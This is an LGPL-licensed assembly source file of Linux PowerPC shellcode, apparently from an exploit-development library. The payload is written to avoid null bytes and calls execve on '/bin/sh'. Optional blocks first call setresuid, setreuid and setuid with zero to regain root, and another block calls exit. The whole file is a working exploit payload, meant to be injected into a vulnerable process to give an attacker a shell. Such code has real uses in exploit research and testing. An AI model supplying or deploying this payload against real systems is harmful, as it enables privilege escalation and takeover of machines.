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/*
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 *  lin-power-shellcode.S
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 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
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 *
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 *  This library is free software; you can redistribute it and/or
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 *  modify it under the terms of the GNU Lesser General Public
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 *  License as published by the Free Software Foundation; either
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 *  version 2.1 of the License, or (at your option) any later version.
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 *
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 *  This library is distributed in the hope that it will be useful,
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 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
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 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
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 *  Lesser General Public License for more details.
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 *
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 *  You should have received a copy of the GNU Lesser General Public
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 *  License along with this library; if not, write to the Free Software
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 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
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 *
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 */
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#include "linux-power.h"
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    .globl main
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main:
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#ifdef ALL
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setresuidcode:
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    lil     %r31,__CAL
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    xor     %r5,%r5,%r5
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    xor     %r4,%r4,%r4
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    xor     %r3,%r3,%r3
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    cal     %r0,__NC_setresuid(%r31)
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    .long   0x44ffff02
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setreuidcode:
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    lil     %r31,__CAL
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    xor     %r4,%r4,%r4
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    xor     %r3,%r3,%r3
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    cal     %r0,__NC_setreuid(%r31)
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    .long   0x44ffff02
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setuidcode:
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    lil     %r31,__CAL
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    xor     %r3,%r3,%r3
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    cal     %r0,__NC_setuid(%r31)
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    .long   0x44ffff02
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#endif
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shellcode:
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    lil     %r31,__CAL
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    xor.    %r5,%r5,%r5
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    bnel    shellcode
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    mflr    %r30
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    cal     %r30,511(%r30)
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    cal     %r3,-511+36(%r30)
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    stb     %r5,-511+43(%r30)
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    stu     %r5,-4(%r1)
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    stu     %r3,-4(%r1)
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    mr      %r4,%r1
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    cal     %r0,__NC_execve(%r31)
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    .long   0x44ffff02
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    .asciz  "/bin/sh"
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#ifdef ALL
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exitcode:
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    lil     %r31,__CAL
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    xor     %r3,%r3,%r3
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    cal     %r0,__NC_exit(%r31)
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    .long   0x44ffff02
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#endif
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